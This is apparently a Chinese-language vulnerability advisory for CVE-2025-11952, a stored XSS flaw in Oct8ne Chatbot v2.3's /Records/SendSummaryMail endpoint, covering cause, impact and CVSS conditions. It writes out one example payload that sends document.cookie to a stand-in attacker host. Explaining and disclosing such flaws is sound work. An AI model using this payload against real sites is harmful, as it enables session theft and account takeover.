CVE-2025-11952CVE-2025-11952是Oct8ne Chatbot v2.3中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞由西班牙国家网络安全研究所(INCIBE)发现并报告,CVSS 3.1评分为6.1分,属于中危级别漏洞。该漏洞允许攻击者通过聊天机器人平台创建包含恶意JavaScript代码的对话记录(transcript),当这些记录通过电子邮件发送给受害者时,恶意脚本将在受害者的浏览器中执行。由于Oct8ne Chatbot是一款广泛应用于电商网站的在线客服与聊天机器人插件,该漏洞可能影响大量使用该产品的网站及其终端用户。攻击者可以利用此漏洞窃取用户的敏感信息,包括会话Cookie、登录凭证等,进而冒充用户执行操作,如未授权购买、修改账户设置等。该漏洞的核心问题在于应用未能对用户输入进行充分的过滤和转义处理,导致恶意脚本被持久化存储在服务器端,并在后续的邮件展示中被执行。
该漏洞存在于Oct8ne Chatbot v2.3的/Records/SendSummaryMail端点中。具体技术原理如下:
1. Oct8ne Chatbot允许用户创建聊天记录(transcript),这些记录可以包含用户输入的内容。
2. 应用程序在处理聊天记录时,未对用户输入的特殊字符(如<、>、"、'等)进行适当的HTML实体编码或过滤。
3. 攻击者可以构造包含恶意JavaScript代码的聊天内容,例如:<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>。
4. 该恶意payload被存储在服务器端的数据库中,属于存储型XSS。
5. 当聊天记录通过/Records/SendSummaryMail端点以电子邮件形式发送给受害者时,恶意脚本将在受害者打开邮件或查看记录时执行。
6. 由于攻击者控制的JavaScript在受害者的浏览器上下文中执行,可以访问会话Cookie、localStorage等敏感数据,并代表用户执行任意操作。
漏洞利用条件:无需认证(PR:N),但需要用户交互(UI:R)——受害者需要打开包含恶意脚本的邮件或聊天记录。攻击向量为网络(AV:N),影响范围为变更(S:C),表明该漏洞可以影响到其他安全域。